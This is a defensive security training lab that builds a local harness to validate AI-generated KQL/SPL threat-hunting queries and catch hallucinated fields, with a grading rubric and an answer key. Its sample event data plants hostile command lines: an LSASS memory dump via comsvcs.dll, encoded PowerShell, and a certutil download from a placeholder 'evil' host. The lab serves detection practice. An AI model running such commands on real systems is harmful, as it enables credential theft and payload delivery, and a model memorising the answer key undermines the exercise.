Lab 02 · NL→KQL/SPL Query Assistant With Auto-Validation

Detection queries fail in two silent ways: they parse cleanly but hit a hallucinated field (the model invented ProcessGuid when the table has process_guid), or they parse and run but silently match nothing because the logic is subtly wrong. This lab builds the harness that catches both before a single query reaches a real console. Your artifact is ten validated queries plus a rejection log of every hallucinated field the harness caught.

Time & tier

~90 minutes hands-on · Core tier (maps to module M1 · AI in the SOC — Triage & Investigation with Trust Calibration).

Setup

Offline, $0, no live SIEM. We use DuckDB as a local execution engine: the LLM generates KQL/SPL for realism, and you translate the logic into DuckDB SQL that actually runs against a sample event table — so validation is real, not vibes. Vendor-neutral: KQL targets Sentinel/Defender, SPL targets Splunk, and the DuckDB layer stands in for "run it and see." Install: pip install duckdb pydantic (plus anthropic if you have a key).

Create nlq-lab/ and save this sample process-and-network event set as events.csv. This is your known-good/known-bad ground truth — a mix of benign activity and three planted malicious sequences.

ts,host,user,event_type,process_name,parent_process,command_line,dst_ip,dst_port,bytes_out
2026-07-20T02:22:19Z,HR-LAP-12,j.rivera,process,powershell.exe,explorer.exe,powershell -EncodedCommand SQBFAFgA,,,
2026-07-20T02:22:41Z,HR-LAP-12,j.rivera,network,powershell.exe,explorer.exe,,185.220.101.5,443,48211
2026-07-20T03:02:00Z,HR-LAP-12,SYSTEM,process,rundll32.exe,services.exe,rundll32 comsvcs.dll MiniDump 640,,,
2026-07-20T09:04:11Z,FIN-WS-3,a.khan,process,winword.exe,explorer.exe,WINWORD.EXE /n invoice.docm,,,
2026-07-20T09:04:20Z,FIN-WS-3,a.khan,process,cmd.exe,winword.exe,cmd /c certutil -urlcache -f http://evil/x,,,
2026-07-20T11:00:00Z,MKT-SVR-1,marketing,process,chrome.exe,explorer.exe,chrome --profile-directory,,,
2026-07-20T11:15:30Z,MKT-SVR-1,marketing,network,chrome.exe,explorer.exe,,142.250.0.14,443,9022
2026-07-20T14:40:02Z,HR-LAP-12,j.rivera,network,rundll32.exe,services.exe,,185.220.101.5,4444,220

Save this validator as validate.py. It loads the event set, exposes the exact schema the model must use, and runs each candidate query — flagging any reference to a column that does not exist.

"""Validate generated hunt queries against a sample event set. Rejects hallucinated fields."""
import duckdb, sys

con = duckdb.connect()
con.execute("CREATE TABLE events AS SELECT * FROM read_csv_auto('events.csv', types={'ts':'VARCHAR'})")
SCHEMA = [c[0] for c in con.execute("DESCRIBE events").fetchall()]

def run(name, sql):
    try:
        rows = con.execute(sql).fetchall()
        verdict = "PASS" if rows else "PARSES-BUT-EMPTY (check logic)"
        print(f"[{verdict}] {name}: {len(rows)} row(s)")
        for r in rows: print("    ", r)
    except Exception as e:
        first = str(e).splitlines()[0]
        print(f"[REJECT] {name}: {first}")

if __name__ == "__main__":
    print("Valid columns:", ", ".join(SCHEMA))
    # Paste your translated candidate queries below, one run() per hunt.
    run("hunt-01 encoded powershell",
        "SELECT ts, host, command_line FROM events "
        "WHERE process_name='powershell.exe' AND command_line ILIKE '%EncodedCommand%'")
    # A deliberately hallucinated-field query to prove the harness rejects it:
    run("hunt-BAD hallucinated column",
        "SELECT ts FROM events WHERE ProcessGuid = 'abc'")

Guided steps

1. 1Publish the schema to the model. Run python validate.py once to print Valid columns:. Copy that list into your prompt. A field-grounded prompt is the single biggest reducer of hallucinated queries: "Only use these columns: ts, host, user, event_type, process_name, parent_process, command_line, dst_ip, dst_port, bytes_out."
2. 2Write ten plain-English hunts. Examples: encoded PowerShell; LSASS credential dumping via comsvcs.dll MiniDump; certutil used as a downloader; Office app spawning a shell; beaconing to a non-standard port; large outbound transfers; rundll32 making network connections; activity from a single user across multiple hosts. Keep them behavioral, not IOC-specific.
3. 3Generate KQL and SPL for each hunt. With a key, prompt the model for both dialects per hunt (structured output makes this repeatable — see the helper in Lab 01). Without a key, use a local Ollama model or write the KQL/SPL yourself; the validation discipline is the graded skill.
4. 4Translate logic to DuckDB SQL and run it. For each hunt add a run("hunt-NN ...", "<sql>") line to validate.py. Execute. A PASS with rows means the logic finds your planted bad events; PARSES-BUT-EMPTY means the query is syntactically fine but logically wrong — investigate before trusting it.
5. 5Force and catch a hallucinated field. Ask the model for a hunt likely to tempt invention — "find processes by their GUID" — when no GUID column exists. The model will emit ProcessGuid/process_guid. Feed it in; the validator returns [REJECT] ... Referenced column ... not found. Log it. This is the whole point: the harness caught a query that would have thrown (or worse, silently failed) in production.
6. 6Catch the silent-empty logic bug. Write one hunt where the model uses the wrong operator or value — e.g., dst_port = '443' as a string when a beacon uses 4444, or event_type='netflow' when the schema says network. The validator returns PARSES-BUT-EMPTY; you diagnose whether it is a real "no hits" or a logic error against known-bad data.
7. 7Build the rejection log. Create rejection-log.md: hunt · dialect · hallucinated/wrong element · how the validator flagged it · corrected field. Aim for at least three entries across hallucinated-field and empty-logic classes.
8. 8Lock in the ten survivors. Keep only queries that returned the expected rows against ground truth. Save them as validated-queries.md with the English hunt, the KQL, the SPL, and the validated DuckDB logic side by side.

Verification

• •
  python validate.py runs with no Python errors and prints the schema.
• •
  At least 10 hunts return PASS with the rows you expected against the planted bad events.
• •
  At least one query is [REJECT]ed for a hallucinated column, and the rejection is in rejection-log.md.
• •
  At least one PARSES-BUT-EMPTY case is diagnosed as a logic bug and corrected.
• •
  validated-queries.md shows English + KQL + SPL + DuckDB logic for the ten survivors.

Completion artifact

A nlq-lab/ folder with validated-queries.md (10 validated hunts in KQL and SPL) and rejection-log.md (the hallucinated-field and empty-logic catches). Self-grading rubric (pass = 8/10):

• Schema grounding (0–2): prompt pins the exact column list; queries use only real fields = 2.
• Ten validated (0–3): ten hunts return the expected rows against ground truth = 3.
• Hallucination catch (0–2): at least one rejected hallucinated field, logged with the correct field named = 2.
• Silent-failure catch (0–2): at least one parses-but-empty logic bug found and fixed = 2.
• Dialect fidelity (0–1): KQL and SPL are each valid for their own engine, not blended = 1.

Stuck?

• •
  read_csv_auto complains about empty numeric cells: they are intentionally blank; the types={'ts':'VARCHAR'} hint plus DuckDB's inference handles nulls fine.
• •
  Every query returns empty: check ILIKE vs = (substring vs exact) and confirm you are matching the sample values, e.g. command_line ILIKE '%MiniDump%'.
• •
  No API key: translate hunts to SQL yourself; the harness grades your validation rigor, not your token spend.
• •
  You want a real KQL/SPL parser: out of scope and unnecessary offline — DuckDB executing the equivalent logic against ground truth is the honest validation signal.

Client-safe variant

Client log schemas are themselves sometimes sensitive. Run generation on the client-approved endpoint (Bedrock/Azure OpenAI) or a local Ollama model, and pin the schema using placeholder field names if the real ones reveal client tooling. Redact sample values (IPs, hostnames) before they enter any prompt. DuckDB validation is fully local, so the "does it actually run" signal never depends on a cloud service — which is exactly what lets you hand a client a query set you have proven, not one you generated and hoped.

Answer key (don't read before attempting)

1. 1Hallucinated field: there is no ProcessGuid/process_guid column; the real fields are listed by DESCRIBE. The validator's Binder Error: Referenced column ... not found is the intended catch.
2. 2Encoded PowerShell (hunt-01): matches the 02:22:19 event via command_line ILIKE '%EncodedCommand%'.
3. 3LSASS dump:command_line ILIKE '%MiniDump%' catches the rundll32 comsvcs.dll MiniDump event at 03:02.
4. 4certutil downloader:command_line ILIKE '%certutil%' catches the FIN-WS-3 event; note the parent is winword.exe (Office-spawns-shell is a second valid hunt on the same row).
5. 5Beacon on odd port:event_type='network' AND dst_port=4444 finds the 14:40 rundll32 connection; dst_port='443' as a string or the wrong port yields the empty-logic case.